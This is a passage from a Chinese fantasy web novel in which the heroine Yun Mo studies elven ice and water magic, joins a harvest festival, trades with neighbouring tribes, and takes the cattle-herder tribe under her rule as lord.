老实说，这种豆子泥不难吃。 但也不好吃。 都说美食要色香味俱全，这玩意儿是色香味缺了一对半！ 就没什么味道，云漠吃了几天之后，再看到这种白花花黏糊糊的东西就有点反胃。 于是她想出来另一种吃法： 彻底煮烂之后去掉豆皮，用手捏成一团一团的，按在涂抹了黄油的锅底煎出脆壳来。 这样煎出来的豆饼带有黄油的醇厚，外酥里嫩、鲜甜软糯，非常好吃。 因为金灿灿的外壳很漂亮，精灵们也很喜欢，直接拿来当做午餐和晚餐之间的下午茶。 第49章 丰收祭 因为上次精灵王鲜明的态度，九月，呼尔雅邀请云漠参加精灵族的收获祭。 春天结束后，精灵巡逻队内部对路线和成员安排进行了一次调整，现在呼尔雅的巡逻路线距离云漠的树屋很近，每天工作结束后都会过来找可爱的人类小伙伴玩耍。 精灵非常重视友谊，每次过来都会带点人类难以采集到的果子和药材什么的，绝不空手。 有一次，甚至还捉了一只成年期的红头鸟！ 这可把云漠高兴坏了，当晚就做了烤鸟肉串！ “可我记得之前你说要到十月？”云漠疑惑道。 “哦，十月的是丰收祭，”呼尔雅摆摆手，又往嘴巴里塞了一只蛋挞，外壳发出咔嚓咔嚓的碎裂声，“九月底和十月间还有秋日祭，你喜欢的话也可以来。” 蛋挞内加了酸梅酱，解腻效果极其突出，呼尔雅非常喜欢。 因为不能天天回家，云漠对集市这边的树屋进行了大规模改造和扩建。 现在灰杉托尼身上的树屋已经有三个了，最初的那个承担了全部会客和用餐功能，除此之外，云漠还增加了储藏室、浴室和卧室，进一步保障了自己的隐私，也提高了生活幸福指数。 几座树屋之间以藤蔓搭建成连廊和楼梯，刮风下雨也不怕。 树下则整理出一片空地，种了几样云漠爱吃的蔬菜和水果。 但最显眼的，莫过于那只圆滚滚的烤炉！ 她在这里参加了第二次集市，也烘烤了无数松软的白面包和甜品。 云漠：“……” 这三者之间有什么区别！ 你们精灵为了享乐，真是什么名目都想得出来。 “没有分别，”呼尔雅笑嘻嘻的，将吃光的托盘递过来，眼巴巴地问，“我亲爱的挚友，还有吗？” 云漠：“……” 没记错的话，几分钟之前那里面有足足十六只！ 这就吃完了？ 说起来，云漠也确实有必要往精灵国去一趟。 最近她在水系魔法方面下了不少功夫，但研究得越深，遇到的问题就越多。 很多人类魔法师遇到的难题根本不会出现在精灵身上，纳林霜也无法解答。 上次做的三本笔记都快被云漠翻烂了，实在无法提供更多帮助。 她需要知识更新。 而六角藏书室内就有不少水系魔法相关的资料。 上次归来后，云漠的进步纳林霜都看在眼里，知道她是个非常自律的孩子，这次很痛快准假。 当然，作业还是要的。 这次的铭文作业是绘制两个水系魔法阵，不包括【集水】，载体和墨水、材料随意。 另外，还要求写一篇对冰系魔法的分析和见解，时间方面比较宽裕，允许她十一月之前上交。 云漠的瞳孔都放大了。 老师，您认真的吗？ 水系魔法我还没研究明白呢，您就让我接触变种冰系了？ 这可不像一加一等于二那么简单！ 而且绘制魔法阵不光是对精神力和魔法元素的解构，还涉及到魔法材料的筛选、处理和运用，考察点太多了！ 但这次银星不在，纳林霜一句“做不到吗？”丢出来，云漠就本能地抢答： “我可以！” 纳林霜满意微笑。 一切尽在掌握。 事后，云漠多少有点懊恼。 唉，一生要强的中国女人啊！ 这次一进入精灵国度核心区域，云漠就意外又不那么意外地发现这里异常凉快。 显而易见，在魔法大师和铭文学者遍地走的精灵国度，自有度过炎炎夏日的法宝。 云漠之前就曾在纳林霜老师家见过降温魔法阵，但现在感受到的这种温度，绝对不是普通的“水”能达到的效果。 就连迎面吹来的风，也是凉的。 水分蒸发确实可以降温，但夏天的整体温度摆在这儿，如果一味求水，只会变成蒸笼。 向呼尔雅求证之后，云漠的猜测也得到了证实： 整个浩瀚森林精灵国度的核心区域，都被几座巨型魔法阵覆盖了。 在如此大的范围达到如此强烈的降温效果，干爽舒适，确实不是水系魔法，而是冰系魔法。 呼尔雅陷入回忆之中，“据前辈们说，战争之前，不，是很久很久以前，各族和谐的时候，精灵族的前任国王曾经邀请各族精英来这里探讨学问，她们的住处就是六角藏书室的前身，然后大家联手绘制下铭文阵法……” “前身？”云漠问道，“那原来真正的住处呢？” 听这个意思，精灵王国内曾经来过一批比六角藏书室的主人们更优秀的精英。 “毁于战火。”呼尔雅遗憾地耸了耸肩，继续讲魔法阵的事。 调节气候的魔法阵分两大类，一类是夏天用的风系和冰系联合魔法阵，另一个是冬天取暖用的火系魔法阵。 “嘶……” 云漠差点把周围吸成真空。 纳林霜老师家直径一米五的铭文作品就已经很贵了，这个可是覆盖一座森林！一个王国！ 耗费的人力物力财力简直无法估量！ “并非常年运行，”呼尔雅连忙解释说，“大师们经过了细致的计算，每次使用的魔法材料差不多能维持几个月的运转，等季节结束，差不多也就消耗完毕，自动停止了……” 云漠斜着眼瞅着这些财大气粗的家伙们，“静候次年来临，补充魔法材料后再次激活是吗？” 那也很贵呀！ 真是令人嫉妒！ 嗨，谁叫人家是真的有矿呢？ 精灵王国有空调，可恶，有空调啊！ 难怪各族精英都喜欢来小住！ 换我，我也爱来！ 不过有个问题： 高等铭文大师确实可以超越局限，绘制跨属性魔法阵，但绘制是一回事，激活运行又是另一回事。 在木系魔法师泛滥的精灵国度，想要找出一个精通水系、风系甚至冰系魔法的成员来，并不难。 可冬天用的火系魔法阵呢？ 想要激活就必须要有强大的火系魔法师的精神力做引子。 火焰是木系的天然克星，包括北方的雪山精灵在内，哪怕基因突变也不可能出现火系魔法师！ 呼尔雅笑着说：“你猜得不错，精灵王国内确实没有火系魔法师，但矮人族有呀。” 矮人族擅长锻造，常年与火焰打交道，有几个强大的火系魔法师很正常。 而矮人族又需要煤炭和各种金属矿产，长期跟精灵族维持着贸易往来，每年入冬前交易时，请对方顺手激活一下火系魔法阵什么的，并不麻烦。 云漠点点头，“可以让我近距离观摩下吗？” 如此规模和威力的巨型魔法阵，只怕当世也不多见吧？ 只要是学习铭文的人，很难不激动。 巨型魔法阵的存在不是秘密，精灵族也视其为展示自家实力的标志之一，并不介意客人们参观。 反正就算看清了也未必学得来，就算学得来，也未必画得起不是吗？ 近距离看时，每根回路都有胳膊那么粗，其中蕴含的能量如海浪般汹涌，但又是那样乖顺，安静地沿着既定路线运转，一丝不乱。 云漠啧啧称奇，越发想看全貌。 单纯一部分并不能完全了解回路运转情况，需要结合整体后再行拆分。 “但魔法阵太大了，”呼尔雅开始带着云漠爬树，语气中又是遗憾又是骄傲，“现在也很少有足够高的古木，恐怕看不见全貌。” 战争开始之前，呼尔雅还只是个几十岁的小精灵，当时浩瀚森林中到处都是几百几千岁的大树，爬上树梢甚至能看到东方遥远的大海！ 可现在…… 呼尔雅说得没错，战后长出来的大树高度不够，哪怕爬到最高点，云漠也只能一部分复杂的弧线。 但窥一斑而见全豹，仅仅是一段弧线，也足以令云漠脑补出部分场景，连连惊叹。 魔法阵大部分都是正圆形，根据这段弧线的长度推测，完全体的直径可能超过一公里！ 足足一公里！ 绘制魔法阵必须一气呵成，期间不能有任何中断，但如此规模的魔法阵显然不是一个个体能完成的。 这就要求参与者们相互了解并信任，整体实力相当，甚至精神力也能同频…… 难，非常难！ 这简直就像万里长城、金字塔一样，堪称奇迹！ 云漠简直无法想象，当年的精灵王是何等的有威望和号召力，能让这么多不同种族的精英、强者放下一切顾虑，毫无芥蒂地全力施展…… 太令人震惊了。 等云漠终于从震撼中回过神来，却听呼尔雅悲伤道：“可惜你来晚了。” 云漠一愣，“什么意思？” “这不是真正的原始魔法阵，”精灵悠长的叹息声中充满了对光辉岁月的缅怀，“原始法阵建成于两千多年前，同样毁于种族混战，现任王竭尽全力才保住核心……现在你看到的是战争结束后在原有基础上复原的。” 说到这里，呼尔雅的语气也不免有些沉重。 虽然当年的呼尔雅作为幼崽被第一批转移，没有亲身经历过那场残酷的战争，但仅仅只是传说，便足够心痛了。 此刻她们身处树顶，周身都被火热的太阳炙烤着，有滚烫的风从四面八方吹来，最终汇聚成一股哀伤的洪流，叫人心口一阵阵发烫。 云漠叹了口气，“战争啊……” 真不是好事。 呼尔雅深以为然，“我们失去了太多，六角藏书室能够幸存也是因为在后方核心区，受到防御魔法阵的保护。就连那些矿产，也有好多坍塌，经过了辛苦的修复才能够重启呢。” 听到这里，云漠既为呼尔雅的信任而感动，又有些无奈。 从这些对话就能看出呼尔雅这只天真的小精灵确实嘴巴松，也不怪精灵长辈们不委派重要的任务。 换做别的精灵，哪怕是看似大大咧咧的紫叶，也绝不会主动提及矿产这样的敏感话题。 云漠还像上次那样住在六角藏书室附近，由可爱的精灵们送来一日三餐。 时间久了，她也不好意思总接受人家的服务，抽空亲自下厨做了蜜汁烤肉，还仿照白吉馍烤了香喷喷的麦饼。 外层刷了蜜汁的烤肉完美锁住汁水，再撒一点黑胡椒粉，咸甜中带一点温和的辛辣，别提多美味。 只是空口多吃几块容易腻，就需要扎实厚重的麦饼调和。 美食追逐者紫叶闻风而来，还带着被铭文作业折磨得奄奄一息的瑟琳。 精灵小队大口吃着麦饼夹烤肉，不断发出真诚的赞美。 这一刻，仿佛连灵魂都得到了慰藉。 云漠慷慨地分享了做法，紫叶却表示听不懂。 自己做饭吃哪有吃别人做的饭香？ 云漠：“……” 不知道在精灵的地盘上殴打精灵犯不犯法。 接连吞下两只麦饼夹肉，紫叶又灌下一大杯酸甜果汁，斜着眼睛看云漠，“听说你在研究冰系魔法？” “啊！”提到这个，云漠就抱着脑袋发出一声痛苦的哀嚎，“太难了，毫无头绪！” 冰和水都由水分子构成，区别只在于内部结构。 但这二者之间如何转换，水系魔法中又是怎么冒出来的冰系变种，连冰系魔法师本人都说不清，至少现有的手稿和笔记中并无记载。 一切就好像那么自然而然的发生了。 云漠并不精通高级物理学，也不清楚如何借助外力改变水的分子结构…… 低温？ 可如果能从外界自然获取低温，我还要冰干什么？ 高压！ 是的，只要压强足够高，外力就会迫使水分子增强作用、改变结构，从液态转为固态，温度也就随之降低。 但另一个新问题随之产生： 如何加压？ 风！ 如果能借助风系魔法形成一个密闭空间，不断向内注入新的空气，自然就形成高压环境。 于是一切又绕回到风系魔法上。 但……迄今为止，云漠没能得到风系魔法元素的半次回应！ 她甚至很难感觉到那些刁钻的小东西们的存在！ 在场的三只精灵面面相觑。 这谁想得到？ 另外，什么是压强？ “啊，简单来说，就是力量的某种表现形式。”云漠眉飞色舞地解释起来，“举个例子，如果我们用一个巴掌打人，那么……哎？” 她突然想到一点： 如果我能掌握风系魔法，打造密闭空间并不断施压，或者抽成真空……任何生物都难逃一死！ 独属于我的绝对领域！ 哦哦，对了，还有【集水】！ 成年人身体的约70%由水构成，如果我反向运用，利用【集水】魔法将对手体内的水分榨干…… 想法很好，但很难实施，因为对手不可能站在乖乖挨打。 但如果我提前制作好魔法卷轴呢？ 又该如何定位魔法作用对象？ 锚点？ 魔法的空间锚点怎样设置？ 或许结合风系魔法形成的绝对领域会更好，直接实现了对敌人的全面封锁…… 啊，又是风！ 可风系魔法元素亲和力到底该如何培养？！ 眼见云漠的眼神开始放空，一会儿眉头紧锁，一会儿做恍然大悟状，几位精灵朋友就知道她又进入了传说中的“领悟”状态。 这种状态常见于学者群体，“领悟者”本人往往因为某种意外而灵光一闪，思维空前活跃，“醒来”后经常会有惊人的收获。 精灵们不忍心打扰，悄然离去。 走出去老远，瑟琳还忍不住回头，就见人类已经蹲下，用手指在土地上飞快地书写起来。 她完全没意识到精灵们的离开。 最新魔法研究的云漠在六角藏书室一待就是一个月，都不用精灵族额外邀请，原地赶上了十月的丰收祭。 如呼尔雅和紫叶所言，作为各族公认的节日之一，丰收祭规模空前，气氛极其热烈。 到处都摆满了芬芳的鲜花、累累硕果，精灵们在路边搭建起无数高台，鲜花组成的瀑布中溢满了美酒。 所有精灵都盛装出席，穿着绘有精致纹样的长跑，头戴各色发冠、珠链，细腻纤长的脖颈也被闪闪发亮的珍珠和螺钿饰物堆满了。 借助出色的品味和自身优越的条件，华丽点缀下的精灵们非但不庸俗，甚至看上去异常动人。 就连云漠也被拖出来，狠狠打扮了一番。 紫叶和呼尔雅等相熟的精灵嘻嘻哈哈往她身上挂饰品，活像在装饰节日庆典的祭台。 云漠保守估计，这些玩意儿至少能有五公斤！ 但……好好看！ 整座森林都沉浸在浓烈的节日氛围中，云漠亦被感染，随无数精灵一起彻夜不眠的唱歌、跳舞。 她还尝试着用精灵竖琴弹奏了一首曲子呢！ 大家都非常捧场的说着赞美的话。 不过当云漠卖弄歌喉时，这些赞美便如大风天的迷雾一般，迅速消散了。 精灵们撇下客人四散而逃。 稍后，精灵们还在王的带领下进行了祭祀，向生命女神和自然女神奉上贡品。 云漠有幸围观，心脏砰砰直跳。 比起兴奋和好奇，她心中更多的是紧张。 这个世界真的有神明。 那么，对方是否会发现自己这个异世而来的灵魂？ 如果被发现，是否会被当成异端清除？ 现在的她可没有与神明抗衡的本钱！ 所有精灵都低下头颅，虔诚地祷告。 低沉的吟唱自每一位精灵口中传出，带着古老的韵律，仿佛跨越时间长河，自遥远的过去而来。 精灵们的吟唱与周围的空气形成奇异的共鸣，云漠几乎能看到虚空中荡开的涟漪。 神像身上发出淡淡的光芒。 女神接受了精灵们的祝福，但没有降临！ 霎那间，云漠说不清究竟是失落还是庆幸。 失落的是，谁不想亲眼见识下神明呢？ 庆幸的是，自己的来历没有曝光…… 女神并不会每次都降临，精灵们也早就习惯了，庆典继续。 丰收祭足足持续了半个月之久，云漠彻底见识了这群精灵堪称丧心病狂的享乐精神。 不睡觉，精灵真的可以不睡觉！ 这些可怕的魔法生物可以持续多日日夜不眠，然后大半夜爬到百米高树上对着斑斓星空和月亮歌唱！ 就连在云漠眼中一贯稳重老成的银星也参与了！ 非但参与，银星甚至是带头的！ 一开始，热血上头的云漠还跟着精灵们一起胡闹，可短短三天，人类之躯就熬不住了，两只巨大的黑眼圈刺青一样明显。 觉得自己随时可能猝死的云漠试图潜回住处补觉，但以紫叶为首的几名精灵很快就发现她不见了，纷纷跑来跑来敲窗、拍门、挖人！ 在精灵看来，丢下可爱的客人自己娱乐是多么失礼呀。 曾经精灵在云漠眼中多么美丽动人，现在就有多么惊悚可怕！ 多像丧尸围城啊！ 当她终于被从被窝里挖出来后，不由得发出一声哀嚎，然后开始大声跟精灵们探讨魔法本源、铭文核心。 紫叶：“……” 瑟琳：“……” 精灵们终于忍无可忍，丢下她逃跑了。 精灵族中不乏水木双修的魔法师，远的不提，云漠熟悉的银星、紫叶和呼尔雅等精灵，多多少少都会一些水系魔法，大家讨论起来倒也很有共同话题。 但同时精通风系魔法的，寥寥无几。 等到十一月份，云漠不得不离开了。 这次她在精灵森林真的待得太久了，久到期间不得不向玛雅姨妈她们传话，证明自己还活着…… 而且秋天的集市也要开始了，她需要跟海螺部落交换货物。 不过这趟虽然从各个方面来讲都过于疯狂，但确实收获满满。 云漠顺利掌握了两个新的水系魔法，完成了一部分纳林霜老师布置的作业，只是……风系魔法依旧没有任何头绪。 啊，可恶！ 恐怕真要等到冬日狂风四起了！ 离开时，云漠一边回忆着收获，一边暗自检讨自己的堕落。 啊，为了玩乐，耽误了多少时间啊！ 但呼尔雅却在她身后大喊：“朋友，下个月矮人族会来激发魔法阵，要来看吗？” 云漠：“……来！” 第50章 海鹰 因一度沉迷于精灵庆典而无法自拔，这次云漠来的不算早，营地几乎住满了人，只是海螺部落还没到。 树屋也空着。 之前云漠都在精灵王国，自己也不确定什么时候来集市，中间也曾写信给玛雅姨妈和霍莉她们，让霍莉不必来得太早，集市交易结束前带着货物赶来即可。 好久不回这边，树屋没人打理，下头的菜园子也长疯了，蔬菜结了一茬又一茬，沉甸甸压弯枝头。 仗着自己是木系魔法师，云漠的菜园子里什么都敢种，长得不好了就用魔法加持。 虽然过程中难免有波折，但大部分都坚强得活了下来。 这会儿放眼望去，什么菠菜、莴笋、芹菜、萝卜、黄瓜，只要这个世界有的，基本都能看到。 皮薄的熟透了便会自己落下来，早就烂成一团黑泥； 豆角、茄子等蒂结实的，仍挂在上面，干瘪而蜷缩，都老得不像话。 野草也趁机长起来。 光热、雨水充足，好多都齐腰高。 云漠撸起袖子忙活半天，先拔草，再除虫，烂的蔬菜丢出去，老的剪下来，或扔或留种。 天气开始转凉，但还没彻底冷下来，去掉这些累赘，剩下的养分估计还能供应一茬。 前面几茬蔬菜没及时摘，占据着光照最好的位置，新出来的果实都有点发育不良。 云漠从叶片深处搜寻了一些茄子、豆角，准备等会儿跟石斧她们交换一点带肥膘的肉，再找藤部落换点精面粉和鸡蛋，煎点茄盒和豆泥饼吃。 老菠菜非常狂野，造型跟野草难分高下，中间的苔都窜出来老高，赶紧拔点吃。 不仅菜园子失控，就连树屋承载体，灰杉托尼的发型也有点死灰复燃，若干枝条垂落下来，把门窗都挡住了。 云漠又顺手给它剪了个杀马特头。 托尼很满意。 秋天快结束了，冬天就不远了，植物也要开始积蓄能量预备过冬了，过分繁茂的枝条会严重威胁大树们的生命。 灰杉托尼对云漠长期离家不归的行为非常伤心，呜哩哇啦絮叨好久，直到云漠利用魔法帮它顺了顺筋脉才告一段落。 简单收拾了下，云漠就背着藤筐去藤部落和虎部落换东西。 结果绿藤和石斧的反应意外默契： 要什么给什么，条件是做出来的成品分我们一点。 现在新阿索城盛产美食的名声已经渐渐传开，只要条件允许，大家也很乐意奢侈一把。 云漠失笑，行吧！ 刚回到树屋，就见菜园子的篱笆上蹲着一只眼熟的小猴子，脑袋上一撮毛还是倔强地炸开，远远望去像顶了一朵镶金边的蒲公英。 一瞬间，云漠就给它取了个名字：蒲公英。 蒲公英正跟一只不知哪里来的大尾巴松鼠对峙。 它努力张开四肢，让不怎么强壮的身体看起来大一些，更具威慑力，龇出尖牙的嘴巴里不断发出警告的“吱吱”声。 松鼠尝试突破了几次，未果，见人类归来，不甘心的叫了几声，悻悻离去。 云漠见状，很是惊喜。 原来如此！ 刚才她还奇怪呢，分明自己离开这么久，菜园子竟然没被小动物攻占？ 原来有小卫士呀！ “蒲公英，干得好！”云漠放下筐子，把原本打算用作交易的麦芽糖给了它一块。 炸毛小猴子眼里只看见了麦芽糖，先举起胳膊冲着松鼠离去的方向指指点点，大声告状，然后才一把抓过糖块吃起来。 至于蒲公英……人类说什么呢？ 听不懂！ 云漠把带回来的肉和面粉拿出来整理，那边含着糖果的蒲公英眨了眨眼，不知想到什么，大着胆子上前，伸出毛茸茸的小手扒拉筐子。 最初云漠没想太多，随手拍掉，“不许乱动。” 小猴子捂着手跳开，脚底装弹簧一样一蹦老高，蹲在枝头急得抓耳挠腮。 过了会儿，见云漠没有生气，它再次鼓起勇气上前。 这次小猴子学聪明了，抱着两只小手一步步蹭过去，没动筐子，而是跑到云漠面前，做了个背筐的动作。 云漠：“……” 虽然有点不伦不类的滑稽，但她还真看懂了！ 这是想借筐子用啊！ 猴子确实聪明，也善于利用工具，但让它们像人类那样编筐……确实有点强猴所难了。 “行吧，”云漠乐了，把筐子里的蔬菜倒出来递过去，“小心点，别弄坏了哈。” 也不知听没听懂，反正小猴子高兴得吱吱叫，当场接过去，人模人样的背起来，在她面前昂首挺胸来回走了几趟。 那筐子比它整个猴儿都大。 云漠被逗得哈哈大笑，摆摆手，“去吧去吧。” 其实云漠已经做好了有借无还的准备，没想到炸毛小猴儿蒲公英很讲信用，当天下午就背着满满一筐水果回来了！ 筐子没有盖子，小猴儿又贪心，装得太满，边跑边掉，掉了它就折回去捡。 结果捡的时候一弯腰，“哗啦啦”，筐里的那些全都倒出来了！ 云漠：“……” 有点想笑，但怕伤了孩子脆弱的自尊心。 小猴儿急得全身的毛都炸开了，看上去更像一朵蒲公英了。 不过它也就此学乖，乖乖将筐子放在地上，再四肢并用去捡水果。 折腾了一番之后，许多水果被摔烂，蒲公英艰难地抱着大筐来到云漠面前，递出。 云漠还愣了下，“给我？” 十一月初的天气已明显转凉，泛滥的水果季也结束了，但在广袤的浩瀚森林和无尽黑山之中，因具体气温、光照不同，仍有大量野果正在成熟。 筐子里塞满了各色类苹果、山楂的蔷薇科野果，还有许多造型各异的梨子和几个……大石榴？ 炸毛小猴子挠了挠脸，连水果带背篓一股脑儿推到她手边，吱吱叫了几声，发现人类魔法师没反应，猴儿脸上显出几分人性化的绝望。 好好一个人，怎么听不懂猴儿话呢？ 它急得原地打转，上蹿下跳，突然想到什么，一个跟头朝着云漠扑过去，又在她前方来了个急刹车，激动地指着她的口袋叫起来。 口袋？ 云漠看看小猴子，再看看地上的水果，懂了。 啊，果干！ 这小东西想让自己帮它晒果干！ 森林里永远不缺吃的，整个夏天都水果泛滥，阳光又足，玛雅姨妈她们足足做了几百斤果干，云漠一度吃到胃酸。 求学期间住在树屋这里时，因为小猴子们经常帮忙跑腿儿、捡柴火，云漠偶尔会把吃不完的果干当作报酬分出去。 猴子们很喜欢。 水果嘛，在森林里向来是夏天秋天吃不完，冬天没得吃，猴子们也没什么储藏加工手段，只能吃应季的。 等到了冬天，大雪茫茫、万物萧条，也只好翻捡一些苔藓，掏小动物来吃，很难熬。 云漠看向蒲公英的眼神都不一样了。 这小东西，太聪明了吧？ 不过这门生意还真能做！ 大山、森林，漫山遍野都是野果。 山林深处没有人烟，果树都长疯了，树又高，果子又多，每年都能掉下来烂一地！ 或果树位置极险峻，除了善于攀援、体重又轻，还有两只手会摘取，甚至还会使用初级工具的猴子之外，其他生物根本摘不到！ 现在已经是松子、栗子等坚果的季节了，偏偏那些树都喜欢长在山上，又高，完全可以委托猴群帮忙摘嘛！ 不过一码归一码，做果干要收费。 云漠将筐里的水果全部拿出来摆在地上，石榴单独挑出来，剥开一个，给炸毛小猴看里面晶莹剔透的颗粒，摆手摇头，再推到一边，“这种不行。” 越翻越觉得可惜。 蒲公英手上没个轻重，又喜欢摘熟透了的果实，运送过程中难免颠簸……哦，还在她面前摔了一次，背回来的基本没个完好的，要么磕破皮，要么碰烂果肉，汁水横流。 而且熟透了的果实纤维化不明显，汁水太足，果肉又软，非常不适合做果干。 云漠就特意挑出那些特别熟的水果给它看，摇头摆手加排除，表示不能用。 又拿起来啃了口，意思是可以直接吃。 蒲公英毕竟只是一只猴子，怎么都不明白问题出在哪里，为什么最甜的那批水果反而被筛选出来？ 平时人类不都喜欢那样的嘛！ 不过它最大的优点就是听话，见云漠坚持，也就哼哼唧唧收回去了，自己一只猴儿蹲在旁边吃得肚儿圆。 剩下的，云漠一分为二，一半划拉到自己这边，一半划给小猴子，“明白？” 做果干得先切片，忒麻烦，又细致，没办法委托给猴子。 好在干货会缩水，要切厚片，忍忍就过去了。 只是现在的阳光已经不像盛夏那样好了，纯风干不免有灰尘，所以云漠打算使用【集水】魔法，又快又保险，还能复习功课。 云漠的“收费”，就来自于这两部分。 炸毛小猴挠头，好像听懂了，又好像没明白，反正就是点头。 现在云漠绘制【集水】魔法阵已经比较熟练了，双方达成一致后立刻开工…… 今天云漠煎了很多茄盒，还做了菠菜鸡蛋馅儿饼，按照约定分成三份，分别给绿藤和石斧她们送去，剩下的三分之一她都没吃完。 试着给蒲公英掰了一点，小东西凑上来闻了闻，扒拉两下，然后跳开老远，一脸嫌弃。 云漠笑骂，“笨蛋，不识货。” 一筐水果挑挑拣拣，能用的并不多，很快就做完了。 太阳落山之前，营地东部忽然响起久违的海螺声，云漠瞬间来劲： 是海鹰她们来了！ 云漠跑到那边一看，果然就见白天还空着的营地上空已经飘扬起熟悉的海螺图腾旗子。 海螺部落应该刚到没多久，一群女人正搬着东西进进出出，营地旁边的空地上停着足足四辆大车！ 之前云漠就听人说过，因为寒冬在即，每年入冬前的这次集市规模都是最大的，不仅参加人数多，交易量也最大。 一个女人抬头看见云漠，先愣了下，然后才露出笑意，转头冲营地里面喊了一声。 不多会儿，就“哒哒哒”跑出个人来。 正是海鹰。 看见彼此后，两个姑娘的反应都与刚才的女人如出一辙，先愣了下，然后才笑起来。 半年不见，变化太大了，第一眼差点没认出来。 两人都长高好多。 经过一整个夏季的暴晒、风吹，现在的黑红黑红的，在夕阳余晖下甚至有些发亮。 两个姑娘向彼此跑去，手拉手打量着对方，嘻嘻笑起来。 “你长高了。” “你也高了，我好想你呀。” 少女之间的感情总是那样真挚又热烈。 很久不见，两人都攒了无数话要跟对方说，叽叽喳喳了半天。 “对了，你上次要的干货我们都带来了，”海鹰高兴地说，“还有很多盐。” 四车的交易量哪怕放在秋季集市也不多见。 其中一辆是单独给云漠装的各种水产干货和大批食盐，还有上一次赊欠藤部落、虎部落、精灵族等的“尾款”。 林林总总加起来，就这么多了。 云漠随海鹰去那辆车前看了货物，惊讶于盐袋子之多。 这个量明显超过了之前自己购买的平均用量。 海鹰笑道：“上次回去之后，姐姐们把你的事情告诉了首领，首领说你既然是魔法师，将来必然大有作为……” 海螺部落的首领就是那位水系魔法师。 以自己为例，那位水系魔法师认为云漠的势力一定会在过去半年内发展壮大，对于盐和其它物资的需求量也会随之上升，多准备点没有坏处。 云漠这些天还真就有点后悔，后悔当初没额外多订点货。 没想到啊，对方竟然都考虑到了！ 她不禁对那位素未谋面的水系魔法师心生好感，“多谢，我很需要。请代我转达对你们首领的问候。” 对方显然是一位非常大胆且富有魄力的人物，且经营有道，非常善于思考。 她们两个的魔法体系又天生亲近，提前打好关系没有坏处。 这次云漠一下就要了好几百斤盐。 除了自家人吃用之外，日常甜品贸易也要消耗大量的食盐。 另外，随着冬季到来，养牛人部落的生存也将再次面临考验。 云漠猜测，近期内对方很可能再次尝试集体投靠…… 如果猜测成真，想要养活这么多张人和牲口的嘴巴，需要的食盐可不是个小数目。 虽然海鹰不会质疑自家首领的任何决定，但还是难免好奇，云漠要如何保存。 据她所知，阿索城的冬天也相当潮湿呢。 若在第一次见面时，云漠自然不敢一口气吃下这么多，但现在么……【集水】真的很好用！ 50-60 第51章 本质 第二天，霍莉赶着车来了。 除了要贸易的大量糖制品之外，她还带来了养牛人部落的消息： 对方希望集体重返阿索城的怀抱。 “……天气越来越冷了，她们又不擅长捕猎，日子并不好过。”霍莉一边整理货物，一边将打听来的真真假假的消息说给云漠听，“据说仅去年冬天，她们部落就因损失了两名成员和三小两大五头牛，其中一名成员还是壮年呢。” 寒风和暴雪对实力强劲的人来说或许是美景，但对挣扎在温饱线上下的人而言，随时可能变成灭顶之灾。 匮乏的燃料、贫瘠的食物，面临同样问题而暴走的野兽……养牛人部落的规模在逐年缩减。 不光是她们，绝大部分脱离了城池的普通人类部族都面临同样的困境。 如果自家没有绿藤、石斧这种有一技之长的强者，那么依附外部强者是最佳选项，没有之一。 云漠对这个结果并不意外，“还有多少人？” “包括现在在我们那边工作的4个，一共43人，老弱和孩子有11人。另外有25头牛，肉牛15头，奶牛10头，还有4头半岁以下的牛崽。”为表诚意，来之前对方都主动告知了。 说得不好听一点，养牛人部落不仅整体战斗力不足，而且近四分之一都是拖油瓶。 就连霍莉听了都有点头痛。 突然来这么多人，能行吗？ 她们的好日子也没过多久呢。 云漠想了想，“明天我见见她们的话语人。” 外界可能普遍觉得养牛人部落很菜，但在云漠看来，完全是因为选错了职业： 那就该是一群农民！一群忙时种地，闲时养牲口的地道农民！ 这么多年混在城郊养牛，跟野兽抢地盘，能撑到现在已经算超常发挥了。 没看“借调”到城堡那边帮忙种地养牛的四人组都迅速红光满面起来吗？ 有两人还实现了二次发育！ 云漠需要人手，而养牛人需要靠山，双方各取所需，这很好。 唯一的问题在话语权。 云漠必须保证领地内没有小团体，有且只有自己一道声音。 养牛人部落要归顺，没问题。 但从今往后，世上不再有养牛人首领，只有阿索城主云漠·克劳德。 次日一早，几名养牛人部落核心成员正式与云漠见面。 云漠很忙，忙到完全没心情跟人绕弯子，上来就开门见山说出自己的底线和条件： 另外，明年阿索城会大规模开荒，投入最新一批高产良种，并向农夫全程提供技术指导。 居民们承担所有农活儿和养殖、放牧工作，上缴所有生产所得的三成作为税金，七成自由支配，而阿索城则提供安全保障和低廉的医疗服务。 如遇大规模流行病，则领主无偿提供相关预防和救治。 阿索城内部产出的甜品、药品等特产，居民有低价优先购买权，但严禁向外倒卖。 云漠承诺庇护每一位居民，前提是绝对的顺从。 因角色和立场转变，少女的神色平淡，言辞堪称冷漠，与曾经笑盈盈购买奶牛时判若两人。 做商人、盟友和领袖是完全不同的。 很多人适应不了这种身份的转变，用错了方法，最后惨烈收场。 领袖确实可以展现出温和的一面，与追随者打成一片，但要适度。 人类的贪欲是无穷无尽的，过分随和只会淡化首领的存在感，降低话语权，引来步步试探、逼近…… 说难听一点，说话不好使了。 责任越大，压力越大，而压力化为动力的前提是领袖的绝对权威。 她必须可靠、可敬，甚至必要时需要一点可怕。 养牛人部落靠拢为的是利益，而云漠必须在保障自家利益的前提下，有所收获。 这是底线，没得商量。 几名养牛人管理者立刻就感受到了压力，在绝对优势面前，所有商量好的话术统统无效。 她们丝毫不怀疑，只要自己多提哪怕一个条件，这场谈判便会作废。 原来，谈判本身就不存在。 这是一场投诚，一场宣誓效忠…… 当天下午，集市上便放出一个不大不小的新消息： 养牛人全体重返阿索城，接受领主云漠的庇护，原部落就地解散。 消息公示就意味着此事已成定局，云漠彻底掌握了主动权。 只要以后她不昏聩杀人，养牛人们但凡有二心，都将被视为背叛，为所有种族鄙视、唾弃。 绿藤、石斧和海鹰亲自来道贺。 祝贺云漠正式由单打独斗发展为一支成熟的势力，真正扎根，成为名副其实的领主。 原养牛人首领，现在的阿索城居民阿茜来请示云漠，询问自己这批人接下来的任务。 “收割牧草，大量的牧草，储存柴火。”云漠说，“集市贸易结束后，你们要尽快搬家，并在管家玛雅的指导下捕猎，为即将到来的寒冬储备粮食。” 阿茜认真记下，又询问了来年的开荒计划，心惊胆战地表示，“可是领主大人，我们没有那么多农具和耕牛……” 人均三亩地？！ 老天，这怎么可能呢？ 奶牛几乎不能干重体力活儿，肉牛虽然可以，但数量不够，农具就更别提了。 这，这莫非是领主大人故意为难？ 云漠神色古怪地瞥了她一眼，“你是不是忘了我是什么人？” 